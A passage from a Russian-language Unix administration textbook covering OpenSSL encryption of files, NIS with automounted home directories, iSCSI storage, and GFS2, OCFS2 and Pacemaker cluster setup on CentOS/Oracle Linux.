Для расшифровки используется та же команда с опцией -d: echo"0J/RgNC40LLQtdGCINC80LjRgAo="| openssl enc-base64-d

выводящая результат на терминал:

Привет мир

Описанные выше команды не позволяют задать пароля для расшифровки. Для создания зашиф- рованного сообщения с паролем используется команда: echo"OpenSSL"| openssl enc-aes-256-cbc

предлагающая ввести пароль для дальнейшей расшифровки: enter aes-256-cbc encryption password: Verifying- enter aes-256-cbc encryption password:

Результат шифрования выводится на терминал:

170 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

U2FsdGVkX185E3H2me2D+qmCfkEsXDTn8nCn/4sblr8=

Для записи зашифрованного сообщения в файл, нужно перенаправить стандартный поток вывода с помощью >: echo"OpenSSL"| openssl enc-aes-256-cbc> openssl.dat

Команда: openssl enc-aes-256-cbc-d-in openssl.dat

используется для расшифровки файла openssl.dat.

Шифровка и дешифровка файлов

Для шифрования файлов используется опция -in, которая задает исходный файл для шифрования, и опция -out, которая задает выходной, зашифрованный файл: openssl enc-aes-256-cbc-in/etc/services-out services.dat

При расшифровке используется опция -d: openssl enc-aes-256-cbc-d-in services.dat

Шифровка и дешифровка каталогов

Если необходимо зашифровать каталог, сначала необходимо его “затарить” (сохранить в виде файла с помощью команды tar), а затем зашифровать полученный файл: tar c/etc| openssl enc-aes-256-cbc-out etc.tar.gz.dat

Для дешифровки и извлечения содержимого в текущий каталог используется команда: openssl enc-aes-256-cbc-d-in etc.tar.gz.dat| tar x

Описанные команды можно использовать для организации автоматического резервная с шифро- ванием резервных копий.

NIS и автомонтирование домашних каталогов

Настройка сервера

Установить сервер NIS: yum install ypserv

Установить клиента NIS: yum install ypbind

Запустить сервер NIS: service ypserv start

Запустить клиента NIS:

2.1. Администрирование вычислительных сетей 171 ABC Unix, Выпуск 1.0.01

service ypbind start

Добавить имя домена NIS в настройки сети (/etc/sysconfig/network):

NISDOMAIN=yp.nisdomain.name

Примечание: Рекомендуется не делать одинаковые DNS и NIS домены.

Отредактировать настройки базы данных NIS (/var/yp/Makefaile):

MERGE_PASSWD=false MERGE_GROUP=false all: passwd shadow group hosts rpc services netid protocols

Примечание: Если не добавить shadow, то для каждого пользователя нужно задавать пароль с помощью yppasswd, а на сервере нужно запускать службу yppasswdd

Обновить базу данных NIS: cd/var/yp make

Примечание: Нужно выполнять каждый раз когда изменяются централизованные параметры.

Настроить клиента (/etc/yp.conf): domain yp.nisdomainl.name server ypserver.dnsdomainl.name

Примечание: Рекомендуется не делать одинаковые DNS и NIS домены

Проверить: yptest

Настройка клиента

Установить клиента NIS: yum install ypbind

Запустить клиента NIS: service ypbind start

Добавить имя домена NIS в настройки сети (/etc/sysconfig/network):

NISDOMAIN=yp.nisdomain.name

Настроить клиента (/etc/yp.conf): domain yp.nisdomainl.name server ypserver.dnsdomainl.name

172 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Примечание: Рекомендуется не делать одинаковые DNS и NIS домены

Проверить: yptest nsswitch!!! pam

Автомонтирования домашних каталогов

/etc/auto.home:

#beth fileserver.example.com:/export/home/beth #joe fileserver.example.com:/export/home/joe * fileserver.example.com:/export/home/&

/var/yp/Makefaile: all: passwd shadow group hosts auto.home rpc services netid protocols

Обновить базу данных NIS: cd/var/yp make

Добавить в /etc/auto.master:

/home auto.home

Сетевое хранилище на базе iSCSI

Существует два метода предоставления доступа к общему ресурсу на удаленном узле: • SAN (Storage Area Network) - доступ к общему ресурсу осуществляется на уровне файловой системы, • NAS (Network Attached Storage) - доступ к общему ресурсу осуществляется на уровне логи- ческих блоков устройства. iSCSI позволяет с помощью сетевого протокола TCP/IP подключать устройства как устройства прямого доступа с протоколом SCSI. Подключение устройства iSCSI к компьютерным сетям (луч- ше с гигабитным Ethernet) позволяет их использовать как удаленный жесткий диск. В терминах iSCSI сервер предоставляющий ресурсы хранилища называется “target”, а клиент подключенный к серверу и использующий эти ресурсы “initiator”.

Основные термины

IQN WWID (iSCSI Qualified Name) уникальный идентификатор устройства. LUN номер «кусочка» диска, к которому идёт обращение. Ближайший аналог — раздел на жёст- ком диске. Portal несколько target’ов, которые анонсируются одним сервером.

2.1. Администрирование вычислительных сетей 173 ABC Unix, Выпуск 1.0.01

Сервер (target)

В дистрибутивах GNU/Linux семейства Red Hat существует два пакета для установки сервера iSCSI: • targetcli, • scsi-target-utils. Первый пакет доступен в базовом репозитории CentOS 7, втрой - в базовом репозиториив CentOS 6 и в репозитории EPEL для CentOS 7. scsi-target-utils

Примечание: В CentOS 7 необходимо установить репозиториий epel

Если не установлена утилита scsi-target-utils, установить:

yum install scsi-target-utils

Запустить:

/etc/init.d/tgtd start

Проверить уровни запуска:

chkconfig tgtd--list

Если выключена, включить:

chkconfig tgtd on

Создать хранилище (target):

tgtadm--lld iscsi--op new--mode target--tid1-T [идентификатор хранилища]

Примечание: [идентификатор хранилища] принято задавать в виде:

iqn.[ГГГГ]-[ММ].[имя_домена_сети_в_обратном_порядке]:[имя_хранилища]

Посмотреть состояние:

tgtadm--lld iscsi--op show--mode target

Добавить накопитель:

tgtadm--lld iscsi--op new--mode logicalunit--tid1--lun1-b [устройство|файл]

Посмотреть состояние:

tgtadm--lld iscsi--op show--mode target

Добавить в файл:

/etc/tgt/targets.conf

описание target вида:

174 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

backing-store [устройство\|файл]

перезапустить службу: service tgtd restart

Примечание: iptables: открыть порта 3260

Проверить ACL (последние строчки в листинге): tgtadm--lld iscsi--op show--mode target

Target1: iqn.2016-04.local.lnp.n7710-g:iscsi.disk.raid0 System information: Driver: iscsi State: ready LUN information: LUN:0 Type: controller SCSI ID: IET 00010000 SCSI SN: beaf10 Size:0 MB, Block size:1 Online: Yes Removable media: No Prevent removal: No Readonly: No Backing store type: null Backing store path: None Backing store flags: LUN:1 Type: disk SCSI ID: IET 00010001 SCSI SN: beaf11 Size: 4295 MB, Block size: 512 Online: Yes Removable media: No Prevent removal: No Readonly: No Backing store type: rdwr Backing store path:/dev/sdb Backing store flags: Account information: ACL information: ALL targetcli

Установка: yum install targetcli

Первоначальная очистка настроек: targetcli clearconfig confirm=true All configuration cleared targetcli является итерактивной оболочкой аналогичной bash.

2.1. Администрирование вычислительных сетей 175 ABC Unix, Выпуск 1.0.01

Примечание: При наборе команд работает автодополнение по

Далее предполагается, что осуществлен вход в эту оболочку: targetcli Warning: Could not load preferences file/root/.targetcli/prefs.bin. targetcli shell version 2.1.fb35 Copyright 2011-2013 by Datera, Inc and others. For help on commands, type 'help'.

/>

Просмотр существующих ресурсов:

/> ls o-/...... [...] o- backstores...... [...] |o- block...... [Storage Objects:0] |o- fileio...... [Storage Objects:0] |o- pscsi...... [Storage Objects:0] |o- ramdisk...... [Storage Objects:0] o- iscsi...... [Targets:0] o- loopback...... [Targets:0] o- vhost...... [Targets:0]

Смена “каталога” (ресурса):

/> cd<путь к ресурсу>

Подключение 2-х блочных устройств к iSCSI ресурсу:

/> cd/backstores/block/ /backstores/block> create<имя1>/dev/<устройство1> Created block storage object<имя1> using/dev/<устройство1>. /backstores/block> create<имя2>/dev/<устройство2> Created block storage object<имя2> using/dev/<устройство2>. /backstores/block> ls o- block...... [Storage Objects:2] o-<имя1>...... [/dev/<устройство1>(X.XGiB) write-thru deactivated] o-<имя2>...... [/dev/<устройство2>(X.XGiB) write-thru deactivated] /backstores/block>

Примечание: Отключение устройства:

/> delete<имя>

Создание iSCSI ресурса (target):

/> cd/iscsi /iscsi> create Created target<имя ресурса>. Created TPG 1. /iscsi> ls o- iscsi...... [Targets:1] o-<имя ресурса>...... [TPGs:1] o- tpg1...... [no-gen-acls, no-auth] o- acls...... [ACLs:0] o- luns...... [LUNs:0]

176 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

o- portals...... [Portals:1] /iscsi>

Примечание: Для удаления ресурса: delete<имя ресурса>

Создание портала:

/iscsi/> cd<имя ресурса>tpg1/portals /iscsi/<имя ресурса>/tpg1/portals/> create Using default IP port 3260 Binding to INADDR_ANY(0.0.0.0) Create network portal 0.0.0.0:3260 /iscsi/<имя ресурса>/tpg1/portals/> cd/iscsi /iscsi> ls o- iscsi...... [Targets:1] o-<имя ресурса>...... [TPGs:1] o- tpg1...... [no-gen-acls, no-auth] o- acls...... [ACLs:0] o- luns...... [LUNs:0] o- portals...... [Portals:1] o- 0.0.0.0:3260...... [OK] /iscsi>

Подключение устройств в качестве логических “юнитов” (LUNs):

/iscsi> cd<имя ресурса>/ /iscsi/<имя ресурса>> cd tpg1/luns /iscsi/<имя ресурса>/tpg1/luns> create/backstores/block/<имя1> Created LUN 0. /iscsi/<имя ресурса>/tpg1/luns> create/backstores/block/<имя2> Created LUN 1.

Проверка:

/iscsi/<имя ресурса>/tpg1/luns> ls o- luns...... [LUNs:2] o- lun0...... [block/<имя1>(/dev/<устройство1>)] o- lun1...... [block/<имя2>(/dev/<устройство2>)]

Определение имён iSCSI-ресурсов (IQN) для узлов кластера: • первый узел (node1)

[root@node1~] # cat /etc/iscsi/initiatorname.iscsi InitiatorName=

• второй узел (node2)

[root@node2~] # cat /etc/iscsi/initiatorname.iscsi InitiatorName=

Создание списка доступа (ACL) для узлов:

/iscsi/<имя ресурса>/tpg1/luns> cd../acls /iscsi/<имя ресурса>/tpg1/acls> /iscsi/<имя ресурса>/tpg1/acls> create Created Node ACL for Created mapped LUN 1.

2.1. Администрирование вычислительных сетей 177 ABC Unix, Выпуск 1.0.01

Created mapped LUN 0. /iscsi/iqn.20...998/tpg1/acls> create Created Node ACL for Created mapped LUN 1. Created mapped LUN 0.

Запись настроек:

/iscsi/iqn.20.../tpg1/portals> cd/ /> saveconfig Last 10 configs saved in/etc/target/backup. Configuration saved to/etc/target/saveconfig.json

Выход из оболочки:

/> exit Global pref auto_save_on_exit=true Last 10 configs saved in/etc/target/backup. Configuration saved to/etc/target/saveconfig.json

Включение и запуск сервиса target:

[root@node0~] # systemctl enable target.service ln-s '/usr/lib/systemd/system/target.service'' /etc/systemd/system/multi-user.target.wants/ ˓→target.service' [root@node0~] # systemctl start target.service

Правила сетевой фильтрации: • открыть порт TCP 3260

[root@node0~] # firewall-cmd --add-port=3260/tcp success [root@node0~] # firewall-cmd --permanent --add-port=3260/tcp success

• разрешить HA-сервис

[root@node0~] # firewall-cmd --add-service=high-availability success [root@node0~] # firewall-cmd --permanent --add-service=high-availability success

Прсмотр правил сетевой фильтрации:

[root@node0~] # firewall-cmd --list-ports 3260/tcp

[root@node0~] # firewall-cmd --list-service dhcpv6-client high-availability ssh

Приведенные настройки сетевого фильтра необходимо повторить на всех узлах кластера.

Клиент (initiator)

Имея сетевую карту Gigabit Ethernet клиента можно подключить к сети хранения данных SAN по IP-протоколу. На стороне клиента необходимо выполнить последовательность команд. Если не установлена утилита iscsi-initiator-utils, установить: yum install iscsi-initiator-utils

178 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Определить доступные iSCSI устройства: iscsiadm-m discovery-t sendtargets-p [IP-адрес или имя хранилища]

В файле:

/etc/iscsi/initiatorname.iscsi

отредактировать идентификатор устройства в соответствии с результатами выполнения предыду- щей команды:

InitiatorName=[идентификатор хранилища]

Проверить уровни запуска: chkconfig iscsi--list

Если выключена, включить: chkconfig iscsi on

Активизировать:

/etc/init.d/iscsi start

Просмотреть: iscsiadm-m discovery-P1 iscsiadm-m node-P1

Примечание: Проверка подключения с помощью targetcli targetcli sessions alias: node1 sid: 16 type: Normal session-state: LOGGED_IN alias: node2 sid: 15 type: Normal session-state: LOGGED_IN Verify that the new LUNs are visible on the cluster nodes:

Удалить: iscsiadm-m node-o delete-T [идентификатор хранилища]-p [адрес или имя хранилища]

Примечание: Чисто программная реализация iSCSI значительно снижает производительность. Для снижения вычислительных затрат на создание и обработку SCSI-команд был создан TCP/IP offload engine (TOE). Для достижения наилучшей производительности рекомендуется использовать iSCSI-адаптеры, в которых кроме TOE аппаратно реализован и уровень iSCSI, например, QLogic iSCSI HBAs QLA4010 или Adaptec iSCSI HBAs 7211. Эти адаптеры имеют специальные чипы iSCSI и TCP/IP, что позволяет достигать высоких скоростей обработки пакетов iSCSI при минимальной нагрузке на процессор.

Кластерная файловая система GFS2 на базе LVM

Примечание: Не подходит для CentOS 7, т.к. там нет cman

node0 - target (сервер) ISCSI с двумя разделами: один под даные, другой кворумный

2.1. Администрирование вычислительных сетей 179 ABC Unix, Выпуск 1.0.01 node1 - initiator (клиент) 1 node2 - initiator (клиент) 2

Подготовка узлов кластера

Примечание: Далее команды, выполняемые на обеих элементах кластера будут начинаться с:

[root@nodeX~] #

где, X - 1 или 2

Установить необходимое ПО:

[root@nodeX~] # LANG=C yum groupinstall "High Availability" "Resilient Storage"

Установить поддержку GFS2, необходимую для одновременного изменения файлов на общей фай- ловой системе с нескольких элементов кластера:

[root@nodeX~] # yum install lvm2-cluster cman gfs2-utils

Подключить iSCSI устройство:

[root@nodeX~] # iscsiadm -m discovery -t sendtargets -p node0:3260 [root@nodeX~] # cat /proc/partitions major minor #blocks name 80 8388608 sda 81 1048576 sda1 82 7339008 sda2 8 16 8388608 sdb 8 17 7340032 sdb1

Установить и настроить сервер синхранизации:

[root@nodeX~] # yum -y install ntp [root@nodeX~] # service ntpd start [root@nodeX~] # ntpq -p [root@nodeX~] # chkconfig ntpd on

Обеспечить распознование узлов по имени. Устанавливить пароль для пользователя ricci, от имени которого работает одноименный сервис, обеспечивающий синхронизацию настроек узлов кластера:

[root@nodeX~] # passwd ricci

Changing password for user ricci. New password: Retype new password: passwd: all authentication tokens updated successfully.

Запустить сервис ricci:

[root@nodeX~] # service ricci start

Starting system message bus: [ OK ] Starting oddjobd: [ OK ] generating SSL certificates... done Generating NSS database... done Starting ricci: [ OK ]

180 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

и rgmanage:

[root@nodeX~] # service rgmanager start Starting Cluster Service Manager: [ OK ]

Включить эти сервисы:

[root@nodeX~] # chkconfig ricci on [root@nodeX~] # chkconfig rgmanager on

Далее, для синхронизации файла конфигурации /etc/cluster/cluster.conf можно использовать команду: ccs_sync node1 node2

поэтому команды можно выполнять на одном из узлов. Создать файл конфигурации кластера вручную vi/etc/cluster/cluster.conf

или с помощью команд: ccs--createcluster<имя_кластера> ccs--addnode node1--votes=1--nodeid=1 ccs--addnode node2--votes=1--nodeid=2 ccs--setcman two_node=1 expected_votes=1

Cинхронизировать файла конфигурации /etc/cluster/cluster.conf командой: ccs_sync node1 node2

При первом использовании нужно ввести пароли пользователя ricci:

You have not authenticated to the ricci daemon on node2 Password: You have not authenticated to the ricci daemon on node1 Password:

Запустить сервис управления кластером на обеих узлах:

[root@nodeX~] # /etc/init.d/cman start

Включить сервис управления кластером на обеих узлах:

[root@nodeX~] # chkconfig cman on

Проверить состояние узлов одной из следующих команд::

2.1. Администрирование вычислительных сетей 181 ABC Unix, Выпуск 1.0.01

[root@nodeX~] # cman_tool nodes Node Sts Inc Joined Name 1M8 2016-04-04 00:09:02 node1 2M4 2016-04-04 00:08:13 node2

[root@nodeX~] # clustat Cluster Status for<имя_кластера>@ Mon Apr4 00:15:43 2016 Member Status: Quorate

Member Name ID Status ------node1 1 Online node2 2 Online, Local

Запустить сервис управления кластерным LVM:

[root@nodeX~] # /etc/init.d/clvmd start [root@nodeX~] # chkconfig clvmd on

Заменить стандартный тип блокировок LVM2 (stand-alone) на кластерный (cluster-wide):

[root@nodeX~] # lvmconf --enable-cluster [root@nodeX~] # vi /etc/lvm/lvm.conf fallback_to_clustered_locking=0 fallback_to_local_locking=0

Рестартовать сервис кластерного LVM:

[root@nodeX~] # /etc/init.d/clvmd restart

Создать VG с одного из узлов: pvcreate/dev/<устройство> vgcreate-Ay-cy<имя_vg>/dev/<устройство>

Примечание: Ключи -Ay -cy важны, без них после перезагрузки iscsi-сервера портится target.

С одного из узлов создать том: lvcreate-l 100%FREE-n<имя_lvm><имя_vg>

Проверить VG: vgs

VG #PV #LV #SN Attr VSize VFree <имя_vg>110 wz--nc NN.NNg NN.NNg

Примечание: Кластерные группы отмечаются флагом c.

Проверить LV: lvs

LV VG Attr LSize Pool Origin Data% Meta% Move Log Cpy%Sync Convert <имя_lvm><имя_vg>-wi-ao----NN.NNg

182 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Создать GFS2 с одного из узлов: mkfs.gfs2-p lock_dlm-t<имя_кластера>:share-j3/dev/<имя_vg>/<имя_lvm>

Монтирование GFS2

[root@nodeX~] # mkdir /mnt/gfs [root@nodeX~] # vi /etc/fstab /dev/<имя_vg>-<имя_lvm>/mnt/gfs gfs2 defaults00

[root@nodeX~] # /etc/inint.d/gfs2 start [root@nodeX~] # chkconfig gfs2 on

Кворумный диск

Получившийся кластер состоит из двух узлов. Чтобы каждый из узлов работал независимо (про- должал изменять данные на диске, вне зависимости от работоспособности другого) нужно добавить кворумный диск. Создание кворумного диска с меткой на разделе iscsi диска:

[root@node1 ~]# mkqdisk -c /dev/ -l mkqdisk v0.5.1 Writing new quorum disk label to /dev/. WARNING: About to destroy all data on /dev/mydata1; proceed [N/y] ? y Initializing status block for node 1...

Проверка:

[root@node1~] # mkqdisk -L mkqdisk v0.5.1 /dev/: Magic: xxxxxxxx Label: Created: Host: node1

Изменим файл настроек кластера /etc/cluster/cluster.conf:

Примечание: Делает узлы независящими друг от друга.

2.1. Администрирование вычислительных сетей 183 ABC Unix, Выпуск 1.0.01

Перезапустим узлы: сначала одну, затем другую, затем еще раз первую.

Fence

Изменим файл настроек кластера /etc/cluster/cluster.conf:

" config_version="3">

Управляющая машина

Устанавливаем группу пакетов: yum groupinstall"High Availability Management"

184 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Запускаем сервис с WEB интерфейсом:

[root@node0~] # chkconfig luci on [root@node0~] # service luci start

Web-интерфейс доступен по адресу:

https://<имя или IP управляющей машины>:8084

Для входа:

Имя пользователя: root Пароль: пароль root

Для управления элементами кластера с помощью luci на узлах должен быть: • запущен сервис ricci; • установлен пароль для пользователя ricci. Управляющая машина может не входить в кластер, на ней можно не запускать cman и ricci.

Кластерная файловая система Oracle (OCFS2)

Примечание: “Из коробки” работает только с ядром UEK от Oracle Linux

Примечание: Работает на OL 6.3

Примечание: На OL 6.7 не работает

Oracle Cluster Filesystem 2 (OCFS2) — файловая система, предназначенная для совместного ис- пользования двумя или более системами. Файловая система может быть использована как обычная локальная файловая система, поскольку не требует никакой специальной модификации программного обеспечения, использующего её. В настоящий момент файловая система OCFS2 используется в продукте компании Oracle — Real Application Cluster. Кроме этого, её часто применяют при построении масштабируемых Web- серверов, файловых, почтовых систем, а также для хранения образов виртуальных машин. Файловая система работает поверх разделяемого хранилища, доступ к которому может осуществ- ляться при помощи таких протоколов как iSCSI,AoE или DRBD. Возможности файловой системы OCFS2: • Блоки переменного размера • Гибкое выделение пространства (экстенты, разреженные файлы (с версии 2.6.22), незаписан- ные экстенты с возможностью создания дырок) • Журналирование (поддерживаются режимы ordered и writeback) • В системах различных аппаратных платформ работает одинаково (x86, x86_64, ia64 и ppc64) • Поддержка встроенного Clusterstack с распределённой системой управления блокировками (Distributed Lock Manager)

2.1. Администрирование вычислительных сетей 185 ABC Unix, Выпуск 1.0.01

• Поддержка буферизованного, прямого, асинхронного, splice() ввода/вывода, а также возмож- ность отображения памяти на файловую систему (Memory Mapped I/Os) • Разнообразные утилиты, обеспечивающий всестороннюю поддержку файловой системы. Установка: yum install ocfs2-tools

Примечание: Устанавливается клиентская часть X-сервера для запуска qt-приложений

Программы mkfs.ocfs2 создание файловой системы mount.ocfs2 монтирование fsck.ocfs2 проверка o2cb запуск, остановка, настройка кластера Настройка Firewall: iptables-I INPUT-s subnet_addr/prefix_length-p tcp \ -m state--state NEW-m tcp--dport 7777-j ACCEPT iptables-I INPUT-s subnet_addr/prefix_length-p udp \ -m udp--dport 7777-j ACCEPT service iptables save

Создание файла настроек с помощью команды o2cb: o2cb add-cluster<ИМЯ_КЛАСТЕРА>

Команда создает файл /etc/ocfs2/cluster.conf (если файл не существует) с описанием кластера. Добавление узла: o2cb add-node<ИМЯ_КЛАСТЕРА><ИМЯ_УЗЛА>--ip

Имя узла должно совпадать с именем компьютера, заданным в файле /etc/sysconfig/network.

Предупреждение: Еси <ИМЯ_УЗЛА> несовпадает с именем в файле /etc/sysconfig/network, узел будет оставаться в состоянии Ofline

В качестве IP адреса желательно использовать адрес в изолированной сети, предназначенной для связи элементов кластера. Далее нужно клонировать файл /etc/ocfs2/cluster.conf на все узлы кластера. На всех узлах выпол- нить команду: service o2cb configure

Во время выполнения этой команды нужно ответить на несколько вопросов:

Load O2CB driver on boot (y/n) [n]: y

Если ответить y, то при загрузке узла будут загружаться все необходимые модули ядра. В против- ном случае перед запуском кластера надо выполнить загрузку модулей ядра командой: service o2cb load

Выбирать n имеет смысл в том случае, если все необходимые модули загружаются вместе с ядром.

186 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Cluster stack backing O2CB [o2cb]:

Имя системы для поддержки механизмов кластера. По умолчанию встроенная утилита o2cb.

Cluster to start on boot (Enter"none" to clear) [ocfs]:<ИМЯ_КЛАСТЕРА>

Нужно ввести имя кластера, выбранное при создании файла /etc/ocfs2/cluster.conf. Остальные параметры (цитата из документации Oracle):

Specify heartbeat dead threshold (>=7)

The number of2-second heartbeats that must elapse without response before a node is␣ ˓→considered dead. To calculate the value to enter, divide the required threshold time period␣ ˓→by2 and add 1. For example, to set the threshold time period to 120 seconds, enter a value␣ ˓→of 61. The default value is 31, which corresponds to a threshold time period of 60 seconds.

Примечание: If your system uses multipathed storage, the recommended value is 61 or greater.

Specify network idle timeout in ms (>=5000)

The time in milliseconds that must elapse before a network connection is considered dead.␣ ˓→The default value is 30,000 milliseconds. Note

For bonded network interfaces, the recommended value is 30,000 milliseconds or greater.

Specify network keepalive delay in ms (>=1000)

The maximum delay in milliseconds between sending keepalive packets to another node. The␣ ˓→default and recommended value is2,000 milliseconds.

Specify network reconnect delay in ms (>=2000)

The minimum delay in milliseconds between reconnection attempts if a network connection goes␣ ˓→down. The default and recommended value is2,000 milliseconds.

To verify the settings for the cluster stack, enter the service o2cb status command:

# service o2cb status Driver for"configfs": Loaded Filesystem"configfs": Mounted Stack glue driver: Loaded Stack plugin"o2cb": Loaded Driver for"ocfs2_dlmfs": Loaded Filesystem"ocfs2_dlmfs": Mounted Checking O2CB cluster"mycluster": Online Heartbeat dead threshold: 61 Network idle timeout: 30000 Network keepalive delay: 2000 Network reconnect delay: 2000 Heartbeat mode: Local Checking O2CB heartbeat: Active

In this example, the cluster is online and is using local heartbeat mode. If no volumes have␣ ˓→been configured, the O2CB heartbeat is shown as Not active rather than Active.

The next example shows the command output for an online cluster that is using three global␣ ˓→heartbeat devices:

2.1. Администрирование вычислительных сетей 187 ABC Unix, Выпуск 1.0.01

# service o2cb status Driver for"configfs": Loaded Filesystem"configfs": Mounted Stack glue driver: Loaded Stack plugin"o2cb": Loaded Driver for"ocfs2_dlmfs": Loaded Filesystem"ocfs2_dlmfs": Mounted Checking O2CB cluster"mycluster": Online Heartbeat dead threshold: 61 Network idle timeout: 30000 Network keepalive delay: 2000 Network reconnect delay: 2000 Heartbeat mode: Global Checking O2CB heartbeat: Active 7DA5015346C245E6A41AA85E2E7EA3CF/dev/sdd 4F9FBB0D9B6341729F21A8891B9A05BD/dev/sdg B423C7EEE9FC426790FC411972C91CC3/dev/sdj

Configure the o2cb and ocfs2 services so that they start at boot time after networking is␣ ˓→enabled:

# chkconfig o2cb on # chkconfig ocfs2 on

These settings allow the node to mount OCFS2 volumes automatically when the system starts.

Проверка состояния обеих узлов: service o2cb status Driver for"configfs": Loaded Filesystem"configfs": Mounted Stack glue driver: Loaded Stack plugin"o2cb": Loaded Driver for"ocfs2_dlmfs": Loaded Filesystem"ocfs2_dlmfs": Mounted Checking O2CB cluster"lnp": Online Heartbeat dead threshold: 31 Network idle timeout: 30000 Network keepalive delay: 2000 Network reconnect delay: 2000 Heartbeat mode: Local Checking O2CB heartbeat: Not active Debug file system at/sys/kernel/debug: mounted

При проблемах с ядром (цитата из документации Oracle):

7.2.6 Configuring the Kernel for Cluster Operation

For the correct operation of the cluster, you must configure the kernel settings shown in the␣ ˓→following:

Specifies the number of seconds after a panic before a system will automatically reset itself.

If the value is0, the system hangs, which allows you to collect detailed information about␣ ˓→the panic for troubleshooting. This is the default value.

To enable automatic reset, set a non-zero value. If you require a memory image (vmcore), allow␣ ˓→enough time for Kdump to create this image. The suggested value is 30 seconds, although␣ ˓→large systems will require a longer time. panic_on_oops

188 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Specifies that a system must panic if a kernel oops occurs. If a kernel thread required for␣ ˓→cluster operation crashes, the system must reset itself. Otherwise, another node might not␣ ˓→be able to tell whether a node is slow to respond or unable to respond, causing cluster␣ ˓→operations to hang.

On each node, enter the following commands to set the recommended values for panic and panic_ ˓→on_oops::

sysctl kernel.panic= 30 sysctl kernel.panic_on_oops=1

To make the change persist across reboots, add the following entries to the/etc/sysctl.conf␣ ˓→file::

# Define panic and panic_on_oops for cluster operation kernel.panic= 30 kernel.panic_on_oops=1

Конфигурационный файл:

/etc/ocfs2/cluster.conf

Пример для двух узлов: node: ip_port= 7777 ip_address= XXX.XXX.XXX.YYY number=0 name=<ИМЯ_УЗЛА_1> # имя должно распознаваться (лучше прописать в /etc/hosts) cluster= ocfs node: ip_port= 7777 ip_address= XXX.XXX.XXX.ZZZ number=1 name=<ИМЯ_УЗЛА_2> # имя должно распознаваться (лучше прописать в /etc/hosts) cluster= ocfs cluster: node_count=2 name= ocfs

На одном из элементов кластера выполнить форматирование раздела iSCSI: mkfs.ocfs2/dev/

где: /dev/ - ISCSI раздел Проверить возможность монтирования: mount/dev/sdb1/mnt/sdb1

Прописать монтирование в /etc/fstab:

/dev/sdb1/mnt/sdb1 ocfs2 defaults00

Запусить сервис:

/etc/init.d/o2cb online ocfs2

Примечание:

2.1. Администрирование вычислительных сетей 189 ABC Unix, Выпуск 1.0.01

При запуске служба выдает ошибку: mount.ocfs2: Invalid name for a cluster while trying to join the group

Примечание: После запуска при перезапуске выдает ошибку: mount.ocfs2: Insufficient permissions to access cluster service while trying to join the group

Обычное монтирование: mount-at ocfs2

выполняется без ошибок и все работает нормально

Примечание: При перезагрузке (если ocfs смонтированы на 2-х компьютерах) система зависает. Последнее сообщение - размонтирование блочных устройств

Временное решение перечисленных проблем: отключить SELinux

Примечание: При попытке отформатировать lv под ocfs2 - ошибка

Кластер высокой доступности (HA-cluster) на базе Pacemaker

Источник

Создание кластера

Для кластера нужны: • сервисы (webserver, mailserver, file-server,. . . ) • менеджер ресурсов (Pacemaker) • система связи между узлами кластера (Corosync или Heartbeat) Рассматрим построение кластера из следующих компонент: • HTTP сервера Apache (сервиса), • Pacemaker (менеджер ресурсов), • Corosync (система связи между узлами).

Примечание: В CentOS 7 Heartbeat не поддерживается.

• PCS как система управления кластером. Рассматриваемый кластер не предназначен для промышленного использования. С его помощью будут изучаться вопросы построения простого HTTP сервера. HTTP сервер будет обрабатывать запросы поступающие на виртуальный адрес кластера. В зависимости от того, какой узел кластера подключен к виртуальному адресу будет выводиться та или другая статическая страничка HTML.

190 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Подготовка

Для построения кластера нужно провести следующие предварительные настройки: • обеспечить ping по короткому имени всех узлов кластера; • открыть UDP-ports 5404 и 5405 для Corosync; • открыть TCP-port 2224 для утилиты pcs; • разрешить IGMP-traffic

[root@nodeX~] # iptables -I INPUT -p igmp -j ACCEPT

• разрешить multicast-traffic

[root@nodeX~] # iptables -I INPUT -m addrtype --dst-type MULTICAST -j ACCEPT

Установка

[root@nodeX~] # yum install corosync pcs pacemaker cman

Примечание: В CentOS 7 пакета cman нет.

Для управления кластером будет использоваться утилита pcs. При установке pcs создается поль- зователь hacluster. Для использования pcs нужно: • задать пароль пользователю hacluster (создается при установке pacemaker):

[root@nodeX~] # passwd hacluster Changing password for user hacluster. New password: Retype new password: passwd: all authentication tokens updated successfully.

• проверить наличие каталога /etc/cluster, если отсутствует - создать и установить контекст SELinux: root@nodeX~] # mkdir /etc/cluster root@nodeX~] # restorecon -R -v /etc/cluster

• запустить сервис CentOS 7

[root@nodeX~] # systemctl start pcsd

CentOS 6

[root@nodeX~] # service pcsd start

• авторизоваться с помощью пользователя hacluster

[root@node1~] # pcs cluster auth node1 node2 Username: hacluster Password: node1: Authorized node2: Authorized

2.1. Администрирование вычислительных сетей 191 ABC Unix, Выпуск 1.0.01

Примечание: Операция выполняется “не быстро”.

После авторизации можно управлять кластером с одного из узлов.

Создание кластера

[root@node1~] # pcs cluster setup --name <имя_кластера> node1 node2 Shutting down pacemaker/corosync services... Redirecting to/bin/systemctl stop pacemaker.service Redirecting to/bin/systemctl stop corosync.service Killing any remaining services... Removing all cluster configuration files... node1: Succeeded node2: Succeeded

Данная команда создает конфигурационный файл /etc/corosync.conf для кластера с именем <имя_кластера>: totem { version:2 secauth: off cluster_name:<имя_кластера> transport: udpu } nodelist { node { ring0_addr: node1 nodeid:1 } node { ring0_addr: node2 nodeid:2 } } quorum { provider: corosync_votequorum two_node:1 } logging { to_syslog: yes }

Примечание: Если выводится сообщение об ошибке Error connection to node (HTTP error: 500), то создать на обеих узлах каталог /etc/cluster.

Запуск кластера

Настройка автоматического включения кластера при загрузке: pcs cluster enable--all node1: Cluster Enabled node2: Cluster Enabled

192 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Если это не сделать нужно будет включать кластер на узлах вручную после каждой перезагрузки:

